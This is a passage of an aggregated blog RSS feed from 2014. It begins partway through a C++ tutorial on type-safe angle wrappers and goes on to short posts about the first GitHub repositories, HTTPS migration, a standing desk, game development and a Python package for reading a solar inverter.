    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Degrees&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;180.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;M_PI&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now if we try to call it with following it just works.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;Radians&lt;/span&gt; &lt;span class="n"&gt;angleRadians&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GetRotation&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;Degrees&lt;/span&gt; &lt;span class="n"&gt;angleDegrees&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;RadiansToDeg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;angleRadians&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;ApplyRotation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;angleDegrees&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice that, if we don’t specify the constructors as explicit the compiler will implicitly converts the value from float to corresponding types. Which isn’t what we want.&lt;/p&gt;

&lt;p&gt;This is already starting to look good. The code is self documenting, and the user will have difficult times, if they try to use if differently than intended as most of the error checking is done by the compiler.&lt;/p&gt;

&lt;p&gt;Another benefit is that, now we can have a member function that does the conversion like&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;Radians&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;explicit&lt;/span&gt; &lt;span class="n"&gt;Radians&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{}&lt;/span&gt;

    &lt;span class="n"&gt;Degrees&lt;/span&gt; &lt;span class="n"&gt;ToDegrees&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Degrees&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;180.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;M_PI&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, your calling code reduces to&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;Radians&lt;/span&gt; &lt;span class="n"&gt;angle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GetRotation&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;ApplyRotation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ToDegrees&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see, we no longer have variable names that tell the type information, but the type that tells about itself.&lt;/p&gt;

&lt;p&gt;On the final note we can make passing from value to passing as a const reference&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;ApplyRotation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Degrees&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"ApplyRotation: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This does two things. Firstly, no more copies when data gets passed around and secondly we can pass a temporary value as guaranteed by the C++ standard, like so&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;ApplyRotation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GetRotation&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;ToDegrees&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;ApplyRotation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Degrees&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;45.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</description><author>Whacky Labs</author><pubDate>Sun, 03 Aug 2014 20:58:54 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/cpp/2014/08/03/typesafe-programming/</guid></item><item><title>2014-08-03</title><link>https://ho.dges.online/pictures/2014-08-03/</link><description>&lt;p&gt;Commonwealth Games cycling event in central Glasgow.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sun, 03 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-08-03/</guid></item><item><title>Now HTTPS Enabled</title><link>https://joshuarogers.net/articles/2014-08/now-https-enabled/</link><description>It's not Monday, so why am I posting something new? Just a quick announcement: I've migrated joshuarogers.net from http to https. http://joshuarogers.net now just returns a 302 Redirect to the appropriate https page.</description><author>Joshua Rogers</author><pubDate>Sat, 02 Aug 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-08/now-https-enabled/</guid></item><item><title>What was the first project on GitHub?</title><link>https://captnemo.in/blog/2014/08/02/first-project-on-github/</link><description>&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This is cross-posted from &lt;a href="https://qr.ae/CW76f"&gt;Quora&lt;/a&gt; where I wrote this answer initially.&lt;/p&gt;

&lt;p&gt;The first project on GitHub was &lt;strong&gt;grit&lt;/strong&gt;. How do I know this? Just some clever use of the search and API.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/search?q=created%3A%3C2008-01-15&amp;amp;type=Repositories&amp;amp;ref=searchresults"&gt;Here’s a GitHub search&lt;/a&gt; to see the first 10 projects that were created on GitHub. The search uses the &lt;code class="language-plaintext highlighter-rouge"&gt;created&lt;/code&gt; keyword, and searches for projects created before 15 Jan 2008.&lt;/p&gt;

&lt;p&gt;They are (in order of creation) (numeric id of repo in brackets):&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href="https://github.com/mojombo/grit"&gt;mojombo/grit&lt;/a&gt; (1)
    &lt;blockquote&gt;
      &lt;p&gt;Grit gives you object oriented read/write access to Git repositories via Ruby.
Deprecated in favor of libgit2/rugged&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href="https://github.com/wycats/merb-core"&gt;wycats/merb-core&lt;/a&gt; (26)
    &lt;blockquote&gt;
      &lt;p&gt;Merb Core: All you need. None you don’t.
Merb was an early ruby framework that was merged to Rails
No longer maintained.&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href="https://github.com/rubinius/rubinius"&gt;rubinius/rubinius&lt;/a&gt; (27)
    &lt;blockquote&gt;
      &lt;p&gt;Rubinius, the Ruby Environment
Still under active development&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href="https://github.com/mojombo/god"&gt;mojombo/god&lt;/a&gt; (28)
    &lt;blockquote&gt;
      &lt;p&gt;God is an easy to configure, easy to extend monitoring framework written in Ruby.
Still actively maintained, and use by GitHub internally as well, I think&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href="https://github.com/vanpelt/jsawesome"&gt;vanpelt/jsawesome&lt;/a&gt;(29)
    &lt;blockquote&gt;
      &lt;p&gt;JSAwesome provides a powerful JSON based DSL for creating interactive forms.
Its last update was in 2008&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href="https://github.com/wycats/jspec"&gt;wycats/jspec&lt;/a&gt; (31)
    &lt;blockquote&gt;
      &lt;p&gt;A JavaScript BDD Testing Library
No longer maintained&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href="https://github.com/defunkt/exception_logger"&gt;defunkt/exception_logger&lt;/a&gt; (35)
    &lt;blockquote&gt;
      &lt;p&gt;The Exception Logger logs your Rails exceptions in the database and provides a funky web interface to manage them.
No longer maintained&amp;gt;&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href="https://github.com/defunkt/ambition"&gt;defunkt/ambition&lt;/a&gt; (36)&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://github.com/technoweenie/restful-authentication"&gt;technoweenie/restful-authentication&lt;/a&gt; (42)
    &lt;blockquote&gt;
      &lt;p&gt;Generates common user authentication code for Rails/Merb, with a full test/unit and rspec suite and optional Acts as State Machine support built-in.Maintained till Aug 2011&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href="https://github.com/technoweenie/attachment_fu"&gt;technoweenie/attachment_fu&lt;/a&gt; (43)
    &lt;blockquote&gt;
      &lt;p&gt;Treat an ActiveRecord model as a file attachment, storing its patch, size, content type, etc.&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I’m sure the id from 2-25 would be taken up by many of the internal GitHub projects, such as github/github. To get the numeric id of a repo, visit &lt;a href="https://api.github.com/repos/mojombo/grit"&gt;https://api.github.com/repos/mojombo/grit&lt;/a&gt; and change the URL accordingly.&lt;/p&gt;</description><author>Nemo's Home</author><pubDate>Sat, 02 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2014/08/02/first-project-on-github/</guid></item><item><title>Adulting</title><link>http://peroty.com/blog/thought-about/adulting/</link><description>&lt;p&gt;Excellent article from Carl Holscher on what it actually means to be an adult. At nineteen and preparing to head off to college, as well as greater things hopefully down the road, I found this piece particularly interesting and profound.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://peroty.com/blog/thought-about/adulting/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 02 Aug 2014 02:06:01 GMT</pubDate><guid isPermaLink="true">http://peroty.com/blog/thought-about/adulting/</guid></item><item><title>Divergent</title><link>https://olshansky.info/movie/divergent/</link><description>Olshansky's review of Divergent</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 01 Aug 2014 19:20:24 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/divergent/</guid></item><item><title>Screenshot Saturday 183</title><link>https://etodd.io/2014/08/01/screenshot-saturday-183/</link><description>&lt;p&gt;I hit a milestone today.&lt;/p&gt;
&lt;p&gt;Three of the four levels so far in Lemma (Rain, Dawn, and Forest) have undergone at least one massive redesign in their short lifetimes. This week I finally gave the same treatment to the fourth level, Monolith. It is aptly named. Let me try to convey just how monolithic this level is now.&lt;/p&gt;
&lt;p&gt;&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/MaleSmartIbisbill.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/zTYo7tM.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/zTYo7tMl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/QDIfPd3.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/QDIfPd3l.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is a perfect example of my patent-pending &lt;strong&gt;Design by Trial and Error™&lt;/strong&gt; process.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Fri, 01 Aug 2014 19:15:16 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/08/01/screenshot-saturday-183/</guid></item><item><title>Unlocking locked files in Windows</title><link>https://daniellittle.dev/locked-files-in-windows</link><description>Every developer has run into this issue at least once.  There are a few different tools you can use to find out what process is locking a…</description><author>Daniel Little Dev</author><pubDate>Fri, 01 Aug 2014 12:21:35 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/locked-files-in-windows</guid></item><item><title>A Dying Breed</title><link>https://zacs.site/blog/a-dying-breed.html</link><description>&lt;p&gt;As I sit down to begin writing this, I lay in a hammock strung between two trees. It is old, this hammock: the previous owners replaced an even older one with it as a small gift when my family purchased this house some three years ago now, and despite the occasional frayed rope, we have felt no need to replace it yet. Outside of the occasional creak and a fair bit of moss that has worked its way into the fibrous sinews that crisscross seemingly haphazardly below my feet, down under my back, and up behind my head, this woven sling works just as well as it did the day I first sat upon it. More importantly though, it has become a fixture as a part of this small slice of nature as the trees that form the canopy above me.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/a-dying-breed.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 01 Aug 2014 09:59:05 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/a-dying-breed.html</guid></item><item><title>PikoPy: A python package for working with a Piko Inverter from Kostal</title><link>https://blog.tafkas.net/2014/08/01/pikopy-a-python-package-for-working-with-a-piko-inverter-from-kostal/</link><description>The first step of my plan, building a Raspberry Pi based photovoltaic monitoring solution, is finished. I created a python package that works with the Kostal Piko 5.5 inverter (and theoretically should work with other Kostal inverters as well) and offers a clean interface for accessing the data:
import pikopy #create a new piko instance p = Piko('host', 'username', 'password') #get current power print p.get_current_power() #get voltage from string 1 print p.</description><author>Tafkas Blog</author><pubDate>Fri, 01 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tafkas.net/2014/08/01/pikopy-a-python-package-for-working-with-a-piko-inverter-from-kostal/</guid></item><item><title>On Working From Home and Running a Business</title><link>http://shawnblanc.net/2014/07/on-working-from-home-and-running-a-business/</link><description>&lt;p&gt;Great primer from Shawn Blanc for anyone hoping to take their work home and go indie. Someday, I hope I will have cause to return to this.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://shawnblanc.net/2014/07/on-working-from-home-and-running-a-business/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 31 Jul 2014 23:23:28 GMT</pubDate><guid isPermaLink="true">http://shawnblanc.net/2014/07/on-working-from-home-and-running-a-business/</guid></item><item><title>Leave of Absence</title><link>https://zacs.site/blog/leave-of-absence.html</link><description>&lt;p&gt;The best way to attain success is to show up every single day and work hard, or so the saying goes; in terms of this site and my goal of growing and fostering a strong readership, this meant putting some nontrivial amount of time into reading and writing every single day in the hopes that I could one day make this more than a hobby. For quite some time now, I have done well to follow this advice, and doing so has led to rather spectacular results: although this is not the time nor place to delve into specifics, suffice it to say that this has been a fantastic year so far. Yet, despite this track record, I am about to break this cardinal rule because for the next two weeks starting Saturday, April 2nd, I will neither read nor write a single thing.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/leave-of-absence.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 31 Jul 2014 19:51:30 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/leave-of-absence.html</guid></item><item><title>Why We're Obsessed with the 10,000-Hour Rule</title><link>http://www.outsideonline.com/fitness/bodywork/the-fit-list/The-Magic-Number-of-Training.html</link><description>&lt;p&gt;Another great piece from the surprisingly diverse site Outside Online, this time on the hallowed 10,000 hour rule. Especially within the circles I travel of writers, programmers, and general creative types, this is a very popular way for many to prescribe greater dedication and hard work to those looking to attain some modicum of success. However, even in the face of these new findings, I believe the underlying sentiment behind these suggestions prompted by this veneered rule remain valid: there is still something to be said for showing up every day, and in the creative professions, raw talent is but a small and potentially insignificant ingredient leading to eventual success.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.outsideonline.com/fitness/bodywork/the-fit-list/The-Magic-Number-of-Training.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 31 Jul 2014 19:27:19 GMT</pubDate><guid isPermaLink="true">http://www.outsideonline.com/fitness/bodywork/the-fit-list/The-Magic-Number-of-Training.html</guid></item><item><title>Screenhero - This is your Business Plan</title><link>https://www.brightball.com/articles/screenhero-this-is-your-business-plan</link><description>I got a newsletter last night from Screenhero announcing version 1.0. The problem is that in the announcement, they also announced a change in pricing that will probably kill a lot of what they have going for them. And I hate that. I REALLY hate that. I've worked for companies where we had to invest a lot of time cleaning up bad decisions, so maybe it bothers me a little more. I really like Screenhero though, so I'm going to try to help. I wasn't doing a good job of explaining myself to them via Twitter, so this should hopefully be a better explanation of what I was trying to communicate.</description><author>Brightball Articles</author><pubDate>Thu, 31 Jul 2014 15:05:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/screenhero-this-is-your-business-plan</guid></item><item><title>No Time to Think</title><link>http://www.nytimes.com/2014/07/27/sunday-review/no-time-to-think.html</link><description>&lt;p&gt;Discovered thanks to Dave Pell&amp;#8217;s excellent newsletter The Next Draft under the title &amp;#8220;&lt;a href="http://nextdraft.com/archives/n20140728/just-look-at-yourself/"&gt;Just Look at Yourself&lt;/a&gt;&amp;#8221;, this is a very fascinating realization that immediately resonated with me: perhaps one of the reasons so many people spend such vast amounts of time engrossed in one device or another is not necessarily because Candy Crush is so addicting and Facebook makes them feel happy&amp;#160;&amp;#8212;&amp;#160;or sad, as the case may be&amp;#160;&amp;#8212;&amp;#160;, but rather because we have developed an intense dislike of introspection and the discomforts it almost invariably brings along with it. Reading that, it felt as if a puzzle piece had clicked into place: &lt;em&gt;&amp;#8220;Yes, it all makes sense.&amp;#8221;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I wake up every morning, and within fifteen minutes of getting out of bed I walk into the gym where I spend the next hour working out. After that, I have between thirty minutes and an hour before I have to leave for work, during which I prepare for my day and, if I have time, read and do a little bit of writing. As I find it difficult to read or write while listening to music, I generally keep iTunes closed when engaged in one of those two activities; otherwise though, I keep something playing almost constantly.&lt;/p&gt;

&lt;p&gt;Every day at work, I keep one earbud in at all times through which I listen to podcasts for nearly eight hours every day. Painting can be a quiet, lonely, and somewhat tedious task at times; this helps me stay focused and engaged. Both to and from work at the beginning and end of the day, I continue listening to those podcasts in the car until I get home, where the same rule set that determines what I listen to in the morning once again informs whether I listen to a song, podcast, or merely the sound of my finders tapping away at the keyboard. Regardless though, here once again, just as I do throughout the rest of my day, I permit myself no silence whatsoever. Even when lying in bed at the end of the day, I turn to a past episode of one of my favorite podcasts to help put me to sleep.&lt;/p&gt;

&lt;p&gt;I routinely go an entire day without any time for quiet introspection. While I once considered this simply an efficient use of my time&amp;#160;&amp;#8212;&amp;#160;why drive in silence when I can listen to a podcast or two?&amp;#160;&amp;#8212;&amp;#160;, I now recognize this common happenstance as the habit it has become: filling every available second with an activity has ceased to serve as a means to the end of greater productivity in a given twenty-four hour timespan, and now functions merely as an excuse for me to avoid any time alone with my thoughts.&lt;/p&gt;

&lt;p&gt;As for the future, I cannot say for sure where I will go from here. This is a very interesting realization, and also a potentially very important one as well. For now though, I plan to start by sitting alone with my thoughts before bed; in a week or two, who knows?&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.nytimes.com/2014/07/27/sunday-review/no-time-to-think.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 31 Jul 2014 09:57:36 GMT</pubDate><guid isPermaLink="true">http://www.nytimes.com/2014/07/27/sunday-review/no-time-to-think.html</guid></item><item><title>New snail shell patterns</title><link>https://liza.io/new-snail-shell-patterns/</link><description>&lt;p&gt;This post originally started out like this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I&amp;rsquo;ve made a few more shell patterns for the snails!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I then started to descibe how the basic genetics work in the simulation (limited to pattern color). While doing so, I began to realize that it is &lt;em&gt;all wrong&lt;/em&gt;. I went back and ripped apart some of the breeding system to get it to a &lt;em&gt;slightly&lt;/em&gt; more realistic state. Needless to say it&amp;rsquo;s still not really correct, but at least it&amp;rsquo;s a bit closer to what &lt;em&gt;could&lt;/em&gt; be some sort of reality. Now I have to go back and clean everything up/rewrite it.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Wed, 30 Jul 2014 19:33:09 GMT</pubDate><guid isPermaLink="true">https://liza.io/new-snail-shell-patterns/</guid></item><item><title>A Miserable, Beautiful Siberian Adventure</title><link>http://www.outsideonline.com/adventure-travel/europe/russia/Tracing-the-Steps-of-Lost-Explorers-in-Miserable-Beautiful-Siberia.html</link><description>&lt;p&gt;Fascinating story by Hampton Sides for Outside Online. As I have &lt;a href="https://zacs.site/blog/cabin-porn-roundup-713.html"&gt;said before&lt;/a&gt;, Russia has always held a great deal of interest for me; with this article, Hampton lifts that near-impermeable veil&amp;#160;&amp;#8212;&amp;#160;even if only a little bit.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.outsideonline.com/adventure-travel/europe/russia/Tracing-the-Steps-of-Lost-Explorers-in-Miserable-Beautiful-Siberia.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 30 Jul 2014 12:14:11 GMT</pubDate><guid isPermaLink="true">http://www.outsideonline.com/adventure-travel/europe/russia/Tracing-the-Steps-of-Lost-Explorers-in-Miserable-Beautiful-Siberia.html</guid></item><item><title>50 Cent Is My Life Coach</title><link>http://www.gq.com/entertainment/celebrities/201406/50-cent</link><description>&lt;p&gt;When Adam and Nathan talked about this article during episode seventeen of their podcast &lt;a href="http://fivemorethings.com/"&gt;Five More Things&lt;/a&gt;, &lt;a href="http://fivemorethings.com/17"&gt;50 Cent is Actually Brilliant&lt;/a&gt;, I recognized its potential value but dismissed it as largely uninteresting, and sent it away to Instapaper. Now, however, a few weeks later, I wish I had sat down and read it as soon as it came to my attention. My only complaint is that I wish it were longer: 50 Cent had some fantastic advice and shared a number of very interesting insights that I wish GQ had given Zach more time to expand upon, and perhaps even search for more of; fascinating and highly-recommended.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.gq.com/entertainment/celebrities/201406/50-cent"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 30 Jul 2014 09:46:23 GMT</pubDate><guid isPermaLink="true">http://www.gq.com/entertainment/celebrities/201406/50-cent</guid></item><item><title>$150 Custom-Made Standing Desk</title><link>https://josh.works/home/2014/07/30/150-custom-made-standing-desk/</link><description>&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe5de4b0278244cea1b8/1434910449380/2014-04-07-13-31-39.jpg"&gt;&lt;img alt="My desk/our kitchen table" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5de4b0278244cea1b8_1434910449380_2014-04-07-13-31-39.jpg_" /&gt;&lt;/a&gt; My desk/our kitchen table&lt;/p&gt;

&lt;p&gt;&lt;a href="http://en.wikipedia.org/wiki/Standing_desk"&gt;Standing desks&lt;/a&gt; are 
&lt;a href="http://www.forbes.com/sites/houzz/2012/08/01/a-healthier-way-to-work-stand-up-desks/"&gt;all&lt;/a&gt; the 
&lt;a href="http://lifehacker.com/5879536/how-sitting-all-day-is-damaging-your-body-and-how-you-can-counteract-it"&gt;rage&lt;/a&gt;. (I’m still waiting for 
&lt;a href="http://techcrunch.com/2013/03/03/why-every-office-should-switch-to-walking-desks/"&gt;walking desks to catch up&lt;/a&gt;.)&lt;/p&gt;

&lt;p&gt;Kristi and I outfitted our space with reclaimed furniture from Craigslist (also known as “cheap”), so we wanted to keep it going with a desk. My setup at our kitchen table was less than ideal, and we’d been wanting a desk for me for a while. We saw that 
&lt;a href="http://www.ourfreakingbudget.com/150-dollar-custom-made-desk/"&gt;others have commissioned desks&lt;/a&gt; with great success, so we gave it a shot.&lt;/p&gt;

&lt;p&gt;A few emails and $150 later, I’ve got a standing desk. There are 
&lt;a href="http://lifehacker.com/5919778/build-your-own-sturdy-good-looking-standing-desk-for-less-than-25"&gt;guides for building $25 standing desks,&lt;/a&gt; but since my work station is a part of our living room, we wanted something that looked OK.&lt;/p&gt;

&lt;p&gt;One Craigslist add later, we had a desk. We paid Drew Morris $150 for the desk, and are thrilled. (If you’re in the Denver area, and want a standing desk, reach out to Drew.Morris82( )yahoo.&lt;/p&gt;

&lt;p&gt;I’ve been using the desk for only half a day, so I don’t have much to say, other than I really like it so far. More information to come soon!&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe5ee4b0278244cea1bf/1434910447469/img_20140728_202954358.jpg"&gt;&lt;img alt="No longer on the kitchen table!" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5ee4b0278244cea1bf_1434910447469_img_20140728_202954358.jpg_" /&gt;&lt;/a&gt; No longer on the kitchen table!&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 30 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/home/2014/07/30/150-custom-made-standing-desk/</guid></item><item><title>Laravel migration done</title><link>https://liza.io/laravel-migration-done/</link><description>&lt;p&gt;The first commit auto-tweeted from the &lt;a href="http://twitter.com/gastropoda_" target="_blank"&gt;@gastropoda_&lt;/a&gt; twitter account yesterday was actually the last commit dedicated to the Laravel port reimplementation:&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Tue, 29 Jul 2014 16:44:07 GMT</pubDate><guid isPermaLink="true">https://liza.io/laravel-migration-done/</guid></item><item><title>Infrared Iceland</title><link>https://huckberry.com/journal/posts/dark-iceland</link><description>&lt;p&gt;Beautiful pictures from a remarkable place; I would love to take a long trip out here someday.&lt;/p&gt;


